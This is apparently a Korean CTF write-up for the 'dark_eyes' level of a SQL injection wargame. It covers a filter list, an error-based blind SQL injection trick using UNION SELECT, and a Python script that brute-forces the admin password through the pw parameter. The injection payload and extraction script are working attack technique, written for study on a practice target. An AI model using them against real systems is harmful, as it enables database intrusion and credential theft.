공격 백터는 pw 파라미터 하나다. pw 파라미터의 검증은 prob, _, ., (), col, if, case, when, sleep, benchmark를 필터링하고 있으며, 두번째 쿼리에는 addslashes 함수를 사용하여 쿼리문에 넣어지고 있다.
필터링 목록에 있는 함수들은 정리하였다.
col 이것은 함수가 아니고, column이라는 단어을 막기 위해 목록에 넣는 것으로 판단이 된다.
if IF(requested, A, B)으로 사용 가능하며 requested가 True일 때 A가 반환되며, False일 때 B을 반환하다.
case, when CASE WHEN 조건1 THEN A WHEN 조건2 THEN B ELSE C END 으로 사용 가능하며 조건1일 때 A를 반환, 조건2일 때 B를 반환, 두 조건에 해당되지 않는 경우 C를 반환한다.
sleep SLEEP(초)로 사용 가능하며 인자로 넣은 초만큼 지연시키는 함수이다. sleep(5)이면 5초 지연된다.
benchmark BENCHMARK(count, A)로 사용 가능하며 count 만큼 반복적으로 A를 실행하는 함수이다. 주로 Mysql이 A의 실행 시간을 측정할 때 사용되며, 반환값은 0을 반환한다.
문제 페이지의 코드를 살펴보니, 전 문제인 Iron Golem 문제처럼 결과값이 출력되지 않기 때문에 Blind SQLI를 시도해야한다.
?pw='
Error 메세지가 출력하는지 확인해봤지만 출력되지 않는 것을 확인할 수 있었다. 하지만 Error를 발생 시키면 빈 화면을 보여주기 때문에 Error-Based Blind SQLI를 시도할 수 있거라 생각한다.
나는 IF문을 대신할 수 있는 SELECT 1 UNION SELECT 2를 찾을 수 있었다. 몇가지 테스트를 해보니 좀 특이하였다.
UNION으로 추가한 2가 그대로 출력되는 것을 확인할 수 있다.
만약 원본 데이터와 같으면 1개만 나오는 것을 볼 수 있다.
내가 특이하다고 말하는 것은 이처험 SQLI에 활용하였을 때이다. 이 때는 SELECT 1 UNION SELECT 1이라서 원본 데이터와 UNION 데이터와 같아서 1만 반환이 된다. SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1이 되기 때문에 1를 True로 인식하여 쿼리의 결과가 admin이 나오게 된다.
하지만 만약 원본 데이터와 다르면 1,0이 반환이 되면서 쿼리문은 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1, 0이 된다. 그러면 Mysql에선 이상한 쿼리문이 되기 때문에 Error를 발생시킨다.
이처럼 UNION의 SELECT에 넣은 조건이 True면 1이 반환이 되면서 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1이 될 것이며, False면 SELECT id FROM prob_iron_golem WHERE id='admin' and pw='' or id='admin' and 1, 0이 반환되면서 Error를 발생시킨다.
즉, 우리는 흰 화면이 나오면 False로 인식하고 해당 문제를 풀이하면 된다.
몇 번 시도해보니, pw의 길이를 찾을 수 있었다.
import requests, string
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
headers = {'Cookie': 'PHPSESSID=g08kd2u2tgcm78s61tndb10ml5'}
defpwParser():
result = ''for num inrange(1, 8+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?pw=%27||id=0x61646D696E%26%26(SELECT 1 UNION SELECT SUBSTR(pw,{num},1)='{s}')%23"
res = requests.get(url + parameter, headers=headers)
if"query"in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
breakprint(result)
pwParser()